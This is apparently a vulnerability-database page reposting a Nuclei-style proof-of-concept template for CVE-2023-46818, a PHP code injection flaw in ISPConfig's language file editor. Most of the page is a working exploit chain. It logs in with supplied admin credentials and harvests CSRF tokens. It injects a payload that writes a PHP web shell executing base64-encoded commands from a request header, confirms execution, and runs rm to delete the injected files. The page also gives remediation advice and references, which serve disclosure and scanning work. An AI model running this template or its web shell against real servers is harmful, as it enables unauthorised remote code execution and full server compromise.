CVE-2023-46818: ISPConfig - PHP Code Injection

2025-08-01 ISPConfig PoC Public

Description

An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.

PoC

id: CVE-2023-46818

info:
  name: ISPConfig - PHP Code Injection
  author: non-things
  severity: high
  description: |
    An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
  impact: |
    Authenticated administrators can inject and execute arbitrary PHP code, potentially gaining complete server control.
  remediation: |
    Upgrade ISPConfig to version 3.2.11p1 or later, and ensure admin_allow_langedit is disabled unless absolutely necessary.
  reference:
    - https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
    - http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
    - http://seclists.org/fulldisclosure/2023/Dec/2
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46818
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-46818
    cwe-id: CWE-94
    epss-score: 0.15732
    epss-percentile: 0.96684
  metadata:
    verified: true
    max-request: 1
    product: ispconfig
  tags: cve,cve2023,ispconfig,php,rce,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

variables:
  lang-file: "{{rand_text_alpha(26)}}.lng"
  websh-file: "{{rand_text_alphanumeric(32)}}.php"
  websh: "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
  websh-base64: "{{base64(websh)}}"
  payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
  payload-url-enc: "{{url_encode(payload)}}"
  echo-cmd-hash: "{{rand_text_alphanumeric(32)}}"
  echo-cmd: "echo {{echo-cmd-hash}}"

http:
  - raw:
      - |
        POST /login/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}&s_mod=login

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Set-Cookie")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        POST /admin/language_edit.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        lang=en&module=help&lang_file={{lang-file}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(response, "_csrf_id", "_csrf_key")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lang_file_location
        group: 1
        regex:
          - "<legend>Language file: (.*)</legend>"
        internal: true

      - type: regex
        name: csrf_id
        group: 1
        regex:
          - "_csrf_id\" value=\"(.*)\" />"
        internal: true

      - type: regex
        name: csrf_key
        group: 1
        regex:
          - "_csrf_key\" value=\"(.*)\" />"
        internal: true

  - raw:
      - |
        POST /admin/language_edit.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload-url-enc}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64(echo-cmd)}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "{{echo-cmd-hash}}"

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64('rm ' + lang_file_location)}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /admin/{{websh-file}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        C: {{base64('rm ' + websh-file)}}

    matchers:
      - type: status
        status:
          - 200
        internal: true
# digest: 4a0a00473045022100c2886b8e699a46005574651219b5e904d116525eefb8ecf2c4f8d25b2ef5ae3102202ce3fee26d50bcf046ed08810d71e07a46fd34a8750f41186c242e6dcc0f219b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities